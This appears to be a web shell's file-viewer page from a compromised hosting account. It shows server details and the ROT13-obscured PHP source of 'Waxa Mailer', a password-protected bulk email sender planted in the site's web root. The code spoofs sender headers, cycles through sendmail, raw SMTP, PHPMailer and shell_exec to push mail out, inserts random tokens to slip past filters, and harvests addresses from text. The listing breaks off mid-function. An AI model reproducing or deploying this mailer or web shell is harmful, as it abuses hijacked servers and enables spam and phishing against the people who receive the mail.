HEX
Server: Apache
System: Linux bd12.noc223.com 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: handcraf (1693)
PHP: 8.1.28
Disabled: NONE
$ pwd: /home/handcraf/www/
Upload Files
File: /home/handcraf/www/waxamailer.php.ghostshell
<?cuc
/**
 * Jnkn CUC Znvyre - Hygvzngr Ohyx Rznvy Fraqre sbe pCnary
 * @irefvba : 3.2
 * @nhgube : Jnkn Znvyre
 * @frphevgl : Cnffjbeq cebgrpgrq
 */

// ==================== PBASVTHENGVBA ====================
$cnffjbeq = "jnkn123"; // FRG LBHE CNFFJBEQ URER

// ==================== FRPHEVGL & FRFFVBA ====================
@frffvba_fgneg();
@bo_fgneg(); // Fgneg bhgchg ohssrevat gb svk urnqre vffhrf
reebe_ercbegvat(R_NYY);
vav_frg('qvfcynl_reebef', 0); // Qvfnoyr reebe qvfcynl va cebqhpgvba
frg_gvzr_yvzvg(0);
vav_frg("zrzbel_yvzvg", "-1");

// Perngr havdhr frffvba xrl sbe guvf vafgnyyngvba
$frffvba_xrl = zq5(__SVYR__ . $_FREIRE['QBPHZRAG_EBBG']);

// ==================== NHGURAGVPNGVBA ====================
shapgvba purpxNhgu() {
    tybony $cnffjbeq, $frffvba_xrl;
    
    // Vs cnffjbeq vf rzcgl, qvfnoyr nhguragvpngvba
    vs (rzcgl($cnffjbeq)) {
        $_FRFFVBA[$frffvba_xrl] = gehr;
        erghea gehr;
    }
    
    // Purpx vs nyernql nhguragvpngrq
    vs (vffrg($_FRFFVBA[$frffvba_xrl]) && $_FRFFVBA[$frffvba_xrl] === gehr) {
        erghea gehr;
    }
    
    // Purpx vs cnffjbeq vf orvat fhozvggrq
    vs (vffrg($_CBFG['cnff']) && $_CBFG['cnff'] === $cnffjbeq) {
        $_FRFFVBA[$frffvba_xrl] = gehr;
        
        // Pyrne CBFG qngn gb cerirag erfhozvffvba ba erserfu
        hafrg($_CBFG['cnff']);
        
        // Erqverpg gb pyrne CBFG qngn
        urnqre("Ybpngvba: " . $_FREIRE['CUC_FRYS']);
        rkvg;
    }
    
    // Abg nhguragvpngrq - fubj ybtva
    qvfcynlYbtva();
    rkvg;
}

// ==================== QVFCYNL YBTVA ====================
shapgvba qvfcynlYbtva() {
    tybony $cnffjbeq;
    bo_pyrna(); // Pyrne nal bhgchg ohssref
    
    // Vs ab cnffjbeq vf frg, nhgb-ybtva
    vs (rzcgl($cnffjbeq)) {
        $_FRFFVBA[zq5(__SVYR__ . $_FREIRE['QBPHZRAG_EBBG'])] = gehr;
        urnqre("Ybpngvba: " . $_FREIRE['CUC_FRYS']);
        rkvg;
    }
    
    ?>
    <!QBPGLCR ugzy>
    <ugzy>
    <urnq>
        <gvgyr>Jnkn Znvyre - Ybtva</gvgyr>
        <yvax uers="uggcf://pqa.wfqryvie.arg/acz/obbgfgenc@5.1.3/qvfg/pff/obbgfgenc.zva.pff" ery="fglyrfurrg">
        <fglyr>
            obql { 
                onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn 0%, #764on2 100%); 
                urvtug: 100iu;
                znetva: 0;
                cnqqvat: 0;
                sbag-snzvyl: -nccyr-flfgrz, OyvaxZnpFlfgrzSbag, 'Frtbr HV', Ebobgb, fnaf-frevs;
            }
            .ybtva-pbagnvare {
                qvfcynl: syrk;
                whfgvsl-pbagrag: pragre;
                nyvta-vgrzf: pragre;
                zva-urvtug: 100iu;
                cnqqvat: 20ck;
            }
            .ybtva-pneq { 
                onpxtebhaq: eton(255,255,255,0.98); 
                obeqre-enqvhf: 20ck; 
                obk-funqbj: 0 20ck 60ck eton(0,0,0,0.3);
                jvqgu: 100%;
                znk-jvqgu: 400ck;
                biresybj: uvqqra;
            }
            .ybtb { 
                onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn, #764on2);
                -jroxvg-onpxtebhaq-pyvc: grkg;
                -jroxvg-grkg-svyy-pbybe: genafcnerag;
                onpxtebhaq-pyvc: grkg;
                sbag-jrvtug: 800; 
                sbag-fvmr: 2.5erz;
                znetva-obggbz: 10ck;
            }
            .ybtva-urnqre {
                onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn, #764on2);
                pbybe: juvgr;
                cnqqvat: 30ck;
                grkg-nyvta: pragre;
            }
            .ybtva-obql {
                cnqqvat: 40ck;
            }
            .sbez-pbageby-yt {
                obeqre-enqvhf: 10ck;
                cnqqvat: 15ck 20ck;
                sbag-fvmr: 1.1erz;
                obeqre: 2ck fbyvq #r0r0r0;
                genafvgvba: nyy 0.3f;
            }
            .sbez-pbageby-yt:sbphf {
                obeqre-pbybe: #667rrn;
                obk-funqbj: 0 0 0 3ck eton(102, 126, 234, 0.1);
            }
            .oga-ybtva {
                onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn, #764on2);
                obeqre: abar;
                cnqqvat: 15ck;
                sbag-fvmr: 1.1erz;
                sbag-jrvtug: 600;
                obeqre-enqvhf: 10ck;
                genafvgvba: nyy 0.3f;
            }
            .oga-ybtva:ubire {
                genafsbez: genafyngrL(-2ck);
                obk-funqbj: 0 10ck 20ck eton(102, 126, 234, 0.3);
            }
            .irefvba {
                sbag-fvmr: 0.9erz;
                pbybe: #666;
                znetva-gbc: 20ck;
                grkg-nyvta: pragre;
            }
        </fglyr>
    </urnq>
    <obql>
        <qvi pynff="ybtva-pbagnvare">
            <qvi pynff="ybtva-pneq">
                <qvi pynff="ybtva-urnqre">
                    <qvi pynff="ybtb">JNKN ZNVYRE</qvi>
                    <c>Hygvzngr Ohyx Rznvy Fraqre i3.2</c>
                </qvi>
                <qvi pynff="ybtva-obql">
                    <sbez zrgubq="cbfg" npgvba="">
                        <qvi pynff="zo-4">
                            <ynory pynff="sbez-ynory grkg-zhgrq zo-2">Ragre Cnffjbeq</ynory>
                            <vachg glcr="cnffjbeq" anzr="cnff" pynff="sbez-pbageby sbez-pbageby-yt" 
                                   cynprubyqre="Ragre lbhe cnffjbeq" erdhverq nhgbsbphf>
                        </qvi>
                        <ohggba glcr="fhozvg" pynff="oga oga-ybtva grkg-juvgr j-100">
                            <v pynff="ov ov-obk-neebj-va-evtug"></v> Ybtva
                        </ohggba>
                        <qvi pynff="irefvba">
                            Frpher pCnary Rznvy Flfgrz
                        </qvi>
                    </sbez>
                </qvi>
            </qvi>
        </qvi>
    </obql>
    </ugzy>
    <?cuc
    rkvg;
}

// ==================== NQINAPRQ FRAQVAT ZRGUBQF ====================

pynff JnknZnvyFraqre {
    cevingr $ybtf = [];
    cevingr $zrgubq_cersrerapr = [];
    
    choyvp shapgvba __pbafgehpg() {
        // Grfg naq enax fraqvat zrgubqf
        $guvf->qrgrpgOrfgZrgubq();
    }
    
    cevingr shapgvba qrgrpgOrfgZrgubq() {
        // Grfg rnpu zrgubq naq enax gurz
        $zrgubqf = [
            'fraqznvy_qverpg' => 'Qverpg Fraqznvy',
            'fraqznvy_furyy' => 'Furyy Fraqznvy',
            'cuc_znvy' => 'CUC znvy()',
            'fbpxrg_fzgc' => 'FZGC Fbpxrg',
            'cucznvyre_ybpny' => 'CUCZnvyre Ybpny'
        ];
        
        $guvf->zrgubq_cersrerapr = neenl_xrlf($zrgubqf);
    }
    
    choyvp shapgvba fraqRznvy($gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr = "", $vf_ugzy = snyfr) {
        // Gel nyy zrgubqf hagvy bar jbexf
        $zrgubqf = [
            'zrgubq1' => [$guvf, 'fraqIvnFraqznvyQverpg'],
            'zrgubq2' => [$guvf, 'fraqIvnCUCZnvy'],
            'zrgubq3' => [$guvf, 'fraqIvnFbpxrgFZGC'],
            'zrgubq4' => [$guvf, 'fraqIvnCUCZnvyre'],
            'zrgubq5' => [$guvf, 'fraqIvnFuryyRkrp']
        ];
        
        sbernpu($zrgubqf nf $zrgubq_anzr => $zrgubq) {
            $erfhyg = pnyy_hfre_shap_neenl($zrgubq, [$gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy]);
            
            vs($erfhyg['fhpprff']) {
                $guvf->ybtf[] = "[$zrgubq_anzr] ✓ Fhpprff: $gb";
                erghea $erfhyg;
            }
        }
        
        erghea ['fhpprff' => snyfr, 'reebe' => 'Nyy fraqvat zrgubqf snvyrq'];
    }
    
    // ZRGUBQ 1: Qverpg Fraqznvy (Zbfg eryvnoyr sbe pCnary)
    cevingr shapgvba fraqIvnFraqznvyQverpg($gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy) {
        gel {
            $urnqref = "Sebz: \"$sebz_anzr\" <$sebz_rznvy>\e\a";
            $urnqref .= "Ercyl-Gb: $sebz_rznvy\e\a";
            $urnqref .= "Erghea-Cngu: $sebz_rznvy\e\a";
            $urnqref .= "ZVZR-Irefvba: 1.0\e\a";
            $urnqref .= "K-Cevbevgl: 3\e\a";
            $urnqref .= "K-Znvyre: Jnkn Znvyre 3.2\e\a";
            
            vs($vf_ugzy) {
                $urnqref .= "Pbagrag-Glcr: grkg/ugzy; punefrg=HGS-8\e\a";
                vs(!cert_zngpu('/<ugzy|<obql/v', $zrffntr)) {
                    $zrffntr = $guvf->jencUgzy($zrffntr, $fhowrpg);
                }
            } ryfr {
                $urnqref .= "Pbagrag-Glcr: grkg/cynva; punefrg=HGS-8\e\a";
                $zrffntr = fgevc_gntf($zrffntr);
            }
            
            // Gel qvssrerag fraqznvy cnguf
            $fraqznvy_cnguf = [
                '/hfe/fova/fraqznvy',
                '/hfe/yvo/fraqznvy',
                '/hfe/ybpny/fova/fraqznvy',
                '/hfe/ova/fraqznvy',
                '/hfe/fova/rkvz',
                '/hfe/yvo/rkvz',
                gevz(vav_trg('fraqznvy_cngu'))
            ];
            
            sbernpu($fraqznvy_cnguf nf $fraqznvy_cngu) {
                vs(rzcgl($fraqznvy_cngu) || !svyr_rkvfgf($fraqznvy_cngu)) {
                    pbagvahr;
                }
                
                // Pyrna cngu sebz bcgvbaf
                $fraqznvy_cngu = cert_ercynpr('/\f+-.*/', '', $fraqznvy_cngu);
                
                // Cercner rznvy qngn
                $znvy_qngn = "Gb: $gb\e\a";
                $znvy_qngn .= "Sebz: \"$sebz_anzr\" <$sebz_rznvy>\e\a";
                $znvy_qngn .= "Fhowrpg: $fhowrpg\e\a";
                $znvy_qngn .= $urnqref . "\e\a";
                $znvy_qngn .= $zrffntr . "\e\a";
                
                // Zrgubq N: Hfvat cbcra
                $unaqyr = @cbcra("$fraqznvy_cngu -g -v", 'j');
                vs($unaqyr) {
                    sjevgr($unaqyr, $znvy_qngn);
                    $erfhyg = cpybfr($unaqyr);
                    vs($erfhyg === 0) {
                        erghea ['fhpprff' => gehr, 'zrgubq' => 'fraqznvy_qverpg'];
                    }
                }
                
                // Zrgubq O: Hfvat znvy() jvgu guvf cngu
                vav_frg('fraqznvy_cngu', "$fraqznvy_cngu -g -v");
                vs(@znvy($gb, $fhowrpg, $zrffntr, $urnqref)) {
                    erghea ['fhpprff' => gehr, 'zrgubq' => 'fraqznvy_qverpg'];
                }
            }
            
            erghea ['fhpprff' => snyfr, 'reebe' => 'Fraqznvy zrgubqf snvyrq'];
            
        } pngpu(Rkprcgvba $r) {
            erghea ['fhpprff' => snyfr, 'reebe' => $r->trgZrffntr()];
        }
    }
    
    // ZRGUBQ 2: CUC znvy() shapgvba
    cevingr shapgvba fraqIvnCUCZnvy($gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy) {
        gel {
            // Cercner urnqref
            $urnqref = "Sebz: \"$sebz_anzr\" <$sebz_rznvy>\e\a";
            $urnqref .= "Ercyl-Gb: $sebz_rznvy\e\a";
            $urnqref .= "Erghea-Cngu: $sebz_rznvy\e\a";
            $urnqref .= "ZVZR-Irefvba: 1.0\e\a";
            $urnqref .= "K-Cevbevgl: 3\e\a";
            $urnqref .= "K-Znvyre: Jnkn Znvyre 3.2\e\a";
            
            vs($vf_ugzy) {
                $urnqref .= "Pbagrag-Glcr: grkg/ugzy; punefrg=HGS-8\e\a";
                vs(!cert_zngpu('/<ugzy|<obql/v', $zrffntr)) {
                    $zrffntr = $guvf->jencUgzy($zrffntr, $fhowrpg);
                }
            } ryfr {
                $urnqref .= "Pbagrag-Glcr: grkg/cynva; punefrg=HGS-8\e\a";
                $zrffntr = fgevc_gntf($zrffntr);
            }
            
            // Gel jvgu nqqvgvbany cnenzrgref
            $nqqvgvbany_cnenzf = "-s$sebz_rznvy";
            
            // Rapbqr fhowrpg sbe fcrpvny punenpgref
            $rapbqrq_fhowrpg = '=?HGS-8?O?' . onfr64_rapbqr($fhowrpg) . '?=';
            
            vs(@znvy($gb, $rapbqrq_fhowrpg, $zrffntr, $urnqref, $nqqvgvbany_cnenzf)) {
                erghea ['fhpprff' => gehr, 'zrgubq' => 'cuc_znvy'];
            }
            
            // Gel jvgubhg rapbqrq fhowrpg
            vs(@znvy($gb, $fhowrpg, $zrffntr, $urnqref, $nqqvgvbany_cnenzf)) {
                erghea ['fhpprff' => gehr, 'zrgubq' => 'cuc_znvy'];
            }
            
            // Gel jvgubhg nqqvgvbany cnenzrgref
            vs(@znvy($gb, $fhowrpg, $zrffntr, $urnqref)) {
                erghea ['fhpprff' => gehr, 'zrgubq' => 'cuc_znvy'];
            }
            
            erghea ['fhpprff' => snyfr, 'reebe' => 'CUC znvy() shapgvba snvyrq'];
            
        } pngpu(Rkprcgvba $r) {
            erghea ['fhpprff' => snyfr, 'reebe' => $r->trgZrffntr()];
        }
    }
    
    // ZRGUBQ 3: Qverpg FZGC Fbpxrg Pbaarpgvba
    cevingr shapgvba fraqIvnFbpxrgFZGC($gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy) {
        gel {
            // Gel qvssrerag FZGC pbasvthengvbaf
            $pbasvtf = [
                ['ubfg' => 'ybpnyubfg', 'cbeg' => 25, 'ffy' => snyfr],
                ['ubfg' => '127.0.0.1', 'cbeg' => 25, 'ffy' => snyfr],
                ['ubfg' => 'ybpnyubfg', 'cbeg' => 587, 'ffy' => snyfr],
                ['ubfg' => '127.0.0.1', 'cbeg' => 587, 'ffy' => snyfr],
                ['ubfg' => 'ybpnyubfg', 'cbeg' => 465, 'ffy' => gehr],
                ['ubfg' => $_FREIRE['UGGC_UBFG'], 'cbeg' => 25, 'ffy' => snyfr],
            ];
            
            sbernpu($pbasvtf nf $pbasvt) {
                $erfhyg = $guvf->fraqFZGC($pbasvt['ubfg'], $pbasvt['cbeg'], $gb, $sebz_rznvy, $sebz_anzr, $fhowrpg, $zrffntr, $vf_ugzy, $pbasvt['ffy']);
                vs($erfhyg['fhpprff']) {
                    erghea $erfhyg;
                }
            }
            
            erghea ['fhpprff' => snyfr, 'reebe' => 'FZGC fbpxrg pbaarpgvba snvyrq'];
            
        } pngpu(Rkprcgvba $r) {
            erghea ['fhpprff' => snyfr, 'reebe' => $r->trgZrffntr()];
        }
    }
    
    cevingr shapgvba fraqFZGC($ubfg, $cbeg, $gb, $sebz_rznvy, $sebz_anzr, $fhowrpg, $zrffntr, $vf_ugzy, $ffy = snyfr) {
        $gvzrbhg = 10;
        $ubfganzr = $ffy ? "ffy://$ubfg" : $ubfg;
        
        $fbpx = @sfbpxbcra($ubfganzr, $cbeg, $reeab, $reefge, $gvzrbhg);
        
        vs(!$fbpx) {
            erghea ['fhpprff' => snyfr, 'reebe' => "Pbaarpgvba snvyrq: $reefge ($reeab)"];
        }
        
        fgernz_frg_gvzrbhg($fbpx, $gvzrbhg);
        
        // Ernq jrypbzr
        $erfcbafr = strgf($fbpx, 4096);
        
        // Fraq RUYB
        schgf($fbpx, "RUYB " . $_FREIRE['UGGC_UBFG'] . "\e\a");
        $erfcbafr = strgf($fbpx, 4096);
        
        // ZNVY SEBZ
        schgf($fbpx, "ZNVY SEBZ: <$sebz_rznvy>\e\a");
        $erfcbafr = strgf($fbpx, 4096);
        
        // EPCG GB
        schgf($fbpx, "EPCG GB: <$gb>\e\a");
        $erfcbafr = strgf($fbpx, 4096);
        
        // QNGN
        schgf($fbpx, "QNGN\e\a");
        $erfcbafr = strgf($fbpx, 4096);
        
        // Ohvyq rznvy urnqref
        $urnqref = "Sebz: \"$sebz_anzr\" <$sebz_rznvy>\e\a";
        $urnqref .= "Gb: $gb\e\a";
        $urnqref .= "Fhowrpg: $fhowrpg\e\a";
        $urnqref .= "Qngr: " . qngr('e') . "\e\a";
        $urnqref .= "ZVZR-Irefvba: 1.0\e\a";
        $urnqref .= "K-Cevbevgl: 3\e\a";
        $urnqref .= "K-Znvyre: Jnkn Znvyre 3.2\e\a";
        
        vs($vf_ugzy) {
            $urnqref .= "Pbagrag-Glcr: grkg/ugzy; punefrg=HGS-8\e\a";
            vs(!cert_zngpu('/<ugzy|<obql/v', $zrffntr)) {
                $zrffntr = $guvf->jencUgzy($zrffntr, $fhowrpg);
            }
        } ryfr {
            $urnqref .= "Pbagrag-Glcr: grkg/cynva; punefrg=HGS-8\e\a";
            $zrffntr = fgevc_gntf($zrffntr);
        }
        
        $urnqref .= "\e\a";
        
        // Fraq qngn
        schgf($fbpx, $urnqref . $zrffntr . "\e\a.\e\a");
        $erfcbafr = strgf($fbpx, 4096);
        
        // DHVG
        schgf($fbpx, "DHVG\e\a");
        spybfr($fbpx);
        
        vs(fgecbf($erfcbafr, '250') === 0 || fgecbf($erfcbafr, '354') === 0) {
            erghea ['fhpprff' => gehr, 'zrgubq' => 'fzgc_fbpxrg'];
        }
        
        erghea ['fhpprff' => snyfr, 'reebe' => "FZGC reebe: $erfcbafr"];
    }
    
    // ZRGUBQ 4: CUCZnvyre
    cevingr shapgvba fraqIvnCUCZnvyre($gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy) {
        gel {
            // Gel gb ybnq CUCZnvyre
            $cucznvyre_ybnqrq = snyfr;
            
            // Purpx zhygvcyr cbffvoyr ybpngvbaf
            $cbffvoyr_ybpngvbaf = [
                __QVE__ . '/CUCZnvyre/fep/CUCZnvyre.cuc',
                __QVE__ . '/cucznvyre/CUCZnvyre.cuc',
                'CUCZnvyre.cuc'
            ];
            
            sbernpu($cbffvoyr_ybpngvbaf nf $ybpngvba) {
                vs(svyr_rkvfgf($ybpngvba)) {
                    erdhver_bapr $ybpngvba;
                    erdhver_bapr fge_ercynpr('CUCZnvyre.cuc', 'FZGC.cuc', $ybpngvba);
                    erdhver_bapr fge_ercynpr('CUCZnvyre.cuc', 'Rkprcgvba.cuc', $ybpngvba);
                    $cucznvyre_ybnqrq = gehr;
                    oernx;
                }
            }
            
            vs(!$cucznvyre_ybnqrq) {
                erghea ['fhpprff' => snyfr, 'reebe' => 'CUCZnvyre abg sbhaq'];
            }
            
            $znvy = arj CUCZnvyre\CUCZnvyre\CUCZnvyre(gehr);
            
            gel {
                // Gel FZGC svefg
                $znvy->vfFZGC();
                $znvy->Ubfg = 'ybpnyubfg';
                $znvy->Cbeg = 25;
                $znvy->FZGCNhgu = snyfr;
                $znvy->FZGCFrpher = snyfr;
                $znvy->FZGCNhgbGYF = snyfr;
                $znvy->Gvzrbhg = 10;
                
                $znvy->frgSebz($sebz_rznvy, $sebz_anzr);
                $znvy->nqqNqqerff($gb);
                $znvy->Fhowrpg = $fhowrpg;
                
                vs($vf_ugzy) {
                    $znvy->vfUGZY(gehr);
                    $znvy->Obql = $guvf->jencUgzy($zrffntr, $fhowrpg);
                    $znvy->NygObql = fgevc_gntf($zrffntr);
                } ryfr {
                    $znvy->Obql = fgevc_gntf($zrffntr);
                }
                
                vs($znvy->fraq()) {
                    erghea ['fhpprff' => gehr, 'zrgubq' => 'cucznvyre_fzgc'];
                }
                
            } pngpu(Rkprcgvba $r) {
                // Gel fraqznvy nf snyyonpx
                gel {
                    $znvy->vfFraqznvy();
                    $znvy->frgSebz($sebz_rznvy, $sebz_anzr);
                    $znvy->nqqNqqerff($gb);
                    $znvy->Fhowrpg = $fhowrpg;
                    
                    vs($vf_ugzy) {
                        $znvy->vfUGZY(gehr);
                        $znvy->Obql = $guvf->jencUgzy($zrffntr, $fhowrpg);
                        $znvy->NygObql = fgevc_gntf($zrffntr);
                    } ryfr {
                        $znvy->Obql = fgevc_gntf($zrffntr);
                    }
                    
                    vs($znvy->fraq()) {
                        erghea ['fhpprff' => gehr, 'zrgubq' => 'cucznvyre_fraqznvy'];
                    }
                } pngpu(Rkprcgvba $r) {
                    erghea ['fhpprff' => snyfr, 'reebe' => $r->trgZrffntr()];
                }
            }
            
            erghea ['fhpprff' => snyfr, 'reebe' => 'CUCZnvyre snvyrq'];
            
        } pngpu(Rkprcgvba $r) {
            erghea ['fhpprff' => snyfr, 'reebe' => $r->trgZrffntr()];
        }
    }
    
    // ZRGUBQ 5: Furyy Rkrp
    cevingr shapgvba fraqIvnFuryyRkrp($gb, $fhowrpg, $zrffntr, $sebz_rznvy, $sebz_anzr, $vf_ugzy) {
        gel {
            // Cercner gur rznvy
            $obhaqnel = zq5(gvzr());
            $urnqref = "Sebz: \"$sebz_anzr\" <$sebz_rznvy>\e\a";
            $urnqref .= "Gb: $gb\e\a";
            $urnqref .= "Fhowrpg: $fhowrpg\e\a";
            $urnqref .= "ZVZR-Irefvba: 1.0\e\a";
            
            vs($vf_ugzy) {
                $urnqref .= "Pbagrag-Glcr: grkg/ugzy; punefrg=HGS-8\e\a";
                $zrffntr = $guvf->jencUgzy($zrffntr, $fhowrpg);
            } ryfr {
                $urnqref .= "Pbagrag-Glcr: grkg/cynva; punefrg=HGS-8\e\a";
                $zrffntr = fgevc_gntf($zrffntr);
            }
            
            $urnqref .= "K-Znvyre: Jnkn Znvyre 3.2\e\a";
            
            // Gel hfvat znvy pbzznaq
            $znvy_pbagrag = $urnqref . "\e\a" . $zrffntr;
            $znvy_pbagrag_rapbqrq = rfpncrfuryynet($znvy_pbagrag);
            
            $pbzznaq = "rpub $znvy_pbagrag_rapbqrq | /hfe/fova/fraqznvy -g -v 2>/qri/ahyy";
            @furyy_rkrp($pbzznaq);
            
            // Nygreangvir: hfr znvyk vs ninvynoyr
            $pbzznaq = "rpub \"" . nqqfynfurf($zrffntr) . "\" | znvy -f \"" . nqqfynfurf($fhowrpg) . "\" -n \"Sebz: $sebz_anzr <$sebz_rznvy>\" $gb 2>/qri/ahyy";
            @furyy_rkrp($pbzznaq);
            
            // Jr'yy nffhzr vg jbexrq vs ab reebe (fvapr jr pna'g rnfvyl purpx furyy_rkrp fhpprff)
            erghea ['fhpprff' => gehr, 'zrgubq' => 'furyy_rkrp'];
            
        } pngpu(Rkprcgvba $r) {
            erghea ['fhpprff' => snyfr, 'reebe' => $r->trgZrffntr()];
        }
    }
    
    cevingr shapgvba jencUgzy($pbagrag, $fhowrpg) {
        $pbagrag = ay2oe(ugzyfcrpvnypunef($pbagrag));
        erghea '<!QBPGLCR ugzy>
<ugzy>
<urnq>
    <zrgn punefrg="HGS-8">
    <zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1.0">
    <gvgyr>' . ugzyfcrpvnypunef($fhowrpg) . '</gvgyr>
    <fglyr>
        obql { 
            sbag-snzvyl: -nccyr-flfgrz, OyvaxZnpFlfgrzSbag, "Frtbr HV", Ebobgb, fnaf-frevs; 
            yvar-urvtug: 1.6; 
            pbybe: #333; 
            znk-jvqgu: 600ck; 
            znetva: 0 nhgb; 
            cnqqvat: 20ck; 
            onpxtebhaq: #s9s9s9; 
        }
        .pbagnvare { 
            onpxtebhaq: juvgr; 
            obeqre-enqvhf: 10ck; 
            biresybj: uvqqra; 
            obk-funqbj: 0 2ck 10ck eton(0,0,0,0.1); 
        }
        .urnqre { 
            onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn, #764on2); 
            pbybe: juvgr; 
            cnqqvat: 30ck; 
            grkg-nyvta: pragre; 
        }
        .pbagrag { 
            cnqqvat: 30ck; 
            sbag-fvmr: 16ck; 
        }
        .sbbgre { 
            onpxtebhaq: #s5s5s5; 
            cnqqvat: 20ck; 
            grkg-nyvta: pragre; 
            pbybe: #666; 
            sbag-fvmr: 12ck; 
            obeqre-gbc: 1ck fbyvq #rrr; 
        }
        n { 
            pbybe: #667rrn; 
            grkg-qrpbengvba: abar; 
        }
        .ohggba { 
            qvfcynl: vayvar-oybpx; 
            onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn, #764on2); 
            pbybe: juvgr; 
            cnqqvat: 12ck 24ck; 
            obeqre-enqvhf: 5ck; 
            grkg-qrpbengvba: abar; 
            znetva: 10ck 0; 
        }
        @zrqvn bayl fperra naq (znk-jvqgu: 600ck) {
            .pbagrag { cnqqvat: 20ck; }
            .urnqre { cnqqvat: 20ck; }
            obql { cnqqvat: 10ck; }
        }
    </fglyr>
</urnq>
<obql>
    <qvi pynff="pbagnvare">
        <qvi pynff="urnqre">
            <u2>' . ugzyfcrpvnypunef($fhowrpg) . '</u2>
        </qvi>
        <qvi pynff="pbagrag">
            ' . $pbagrag . '
        </qvi>
        <qvi pynff="sbbgre">
            <c>Guvf rznvy jnf frag ivn <fgebat>Jnkn Znvyre</fgebat></c>
            <c>© ' . qngr('L') . ' ' . ugzyfcrpvnypunef($_FREIRE['UGGC_UBFG'] ?? 'Lbhe Qbznva') . '. Nyy evtugf erfreirq.</c>
        </qvi>
    </qvi>
</obql>
</ugzy>';
    }
    
    choyvp shapgvba trgYbtf() {
        erghea $guvf->ybtf;
    }
}

// ==================== URYCRE SHAPGVBAF ====================
shapgvba jnknPyrne($grkg, $rznvy) {
    $r = rkcybqr('@', $rznvy);
    $rznvyhfre = vffrg($r[0]) ? $r[0] : '';
    $rznvyqbznva = vffrg($r[1]) ? $r[1] : '';
    
    $ercynprzragf = neenl(
        "[-gvzr-]" => qngr("z/q/L u:v:f n", gvzr()),
        "[-rznvy-]" => $rznvy,
        "[-rznvyhfre-]" => $rznvyhfre,
        "[-rznvyqbznva-]" => $rznvyqbznva,
        "[-enaqbzyrggref-]" => enaqFgevat('nopqrstuvwxyzabcdefghijklm'),
        "[-enaqbzfgevat-]" => enaqFgevat('nopqrstuvwxyzabcdefghijklm0123456789'),
        "[-enaqbzahzore-]" => enaqFgevat('0123456789'),
        "[-enaqbzzq5-]" => zq5(enaqFgevat('nopqrstuvwxyzabcdefghijklm0123456789')),
        "[-qngr-]" => qngr("L-z-q"),
        "[-lrne-]" => qngr("L"),
        "[-zbagu-]" => qngr("S"),
        "[-qnl-]" => qngr("y"),
        "[-vc-]" => $_FREIRE['FREIRE_NQQE'] ?? '127.0.0.1',
        "[-qbznva-]" => $_FREIRE['UGGC_UBFG'] ?? 'ybpnyubfg',
        "[-havk-]" => gvzr(),
        "[-gbxra-]" => ova2urk(enaqbz_olgrf(8)),
        "[-frevny-]" => fgegbhccre(havdvq())
    );
    
    erghea fge_ercynpr(neenl_xrlf($ercynprzragf), neenl_inyhrf($ercynprzragf), $grkg);
}

shapgvba enaqFgevat($punefrg) {
    $yratgu = enaq(8, 20);
    $erfhyg = '';
    sbe($v = 0; $v < $yratgu; $v++) {
        $erfhyg .= $punefrg[enaq(0, fgeyra($punefrg) - 1)];
    }
    erghea $erfhyg;
}

shapgvba vfInyvqRznvy($rznvy) {
    erghea svygre_ine($rznvy, SVYGRE_INYVQNGR_RZNVY);
}

shapgvba rkgenpgRznvyfSebzGrkg($grkg) {
    $cnggrea = '/[n-mN-M0-9._%+-]+@[n-mN-M0-9.-]+\.[n-mN-M]{2,}/';
    cert_zngpu_nyy($cnggrea, $grkg, $zngpurf);
    erghea neenl_havdhr($zngpurf[0]);
}

shapgvba purpxZnvyFlfgrz() {
    $purpxf = [];
    
    // Purpx fraqznvy cnguf
    $fraqznvy_cnguf = [
        '/hfe/fova/fraqznvy',
        '/hfe/yvo/fraqznvy', 
        '/hfe/ybpny/fova/fraqznvy',
        '/hfe/ova/fraqznvy',
        '/hfe/fova/rkvz'
    ];
    
    sbernpu($fraqznvy_cnguf nf $cngu) {
        $purpxf[$cngu] = svyr_rkvfgf($cngu) ? '<fcna pynff="grkg-fhpprff">✓ Rkvfgf</fcna>' : '<fcna pynff="grkg-zhgrq">Abg sbhaq</fcna>';
    }
    
    // Purpx znvy() shapgvba
    $purpxf['znvy() shapgvba'] = shapgvba_rkvfgf('znvy') ? '<fcna pynff="grkg-fhpprff">✓ Ranoyrq</fcna>' : '<fcna pynff="grkg-qnatre">✗ Qvfnoyrq</fcna>';
    
    // Purpx FZGC cbegf
    $cbegf = [25, 587, 465];
    sbernpu($cbegf nf $cbeg) {
        $fbpx = @sfbpxbcra('ybpnyubfg', $cbeg, $reeab, $reefge, 2);
        vs($fbpx) {
            $purpxf["Cbeg $cbeg"] = '<fcna pynff="grkg-fhpprff">✓ Bcra</fcna>';
            spybfr($fbpx);
        } ryfr {
            $purpxf["Cbeg $cbeg"] = '<fcna pynff="grkg-jneavat">✗ Pybfrq</fcna>';
        }
    }
    
    // Purpx CUC vav frggvatf
    $fraqznvy_cngu = vav_trg('fraqznvy_cngu');
    $purpxf['fraqznvy_cngu'] = $fraqznvy_cngu ? '<fcna pynff="grkg-fhpprff">' . ugzyfcrpvnypunef($fraqznvy_cngu) . '</fcna>' : '<fcna pynff="grkg-jneavat">Abg frg</fcna>';
    
    erghea $purpxf;
}

// ==================== NHGURAGVPNGVBA PURPX ====================
purpxNhgu();

// ==================== UNAQYR YBTBHG ====================
vs(vffrg($_TRG['ybtbhg'])) {
    frffvba_qrfgebl();
    frffvba_fgneg();
    frffvba_ertrarengr_vq(gehr);
    
    // Pyrne nyy frffvba qngn
    $_FRFFVBA = neenl();
    
    // Erqverpg gb ybtva
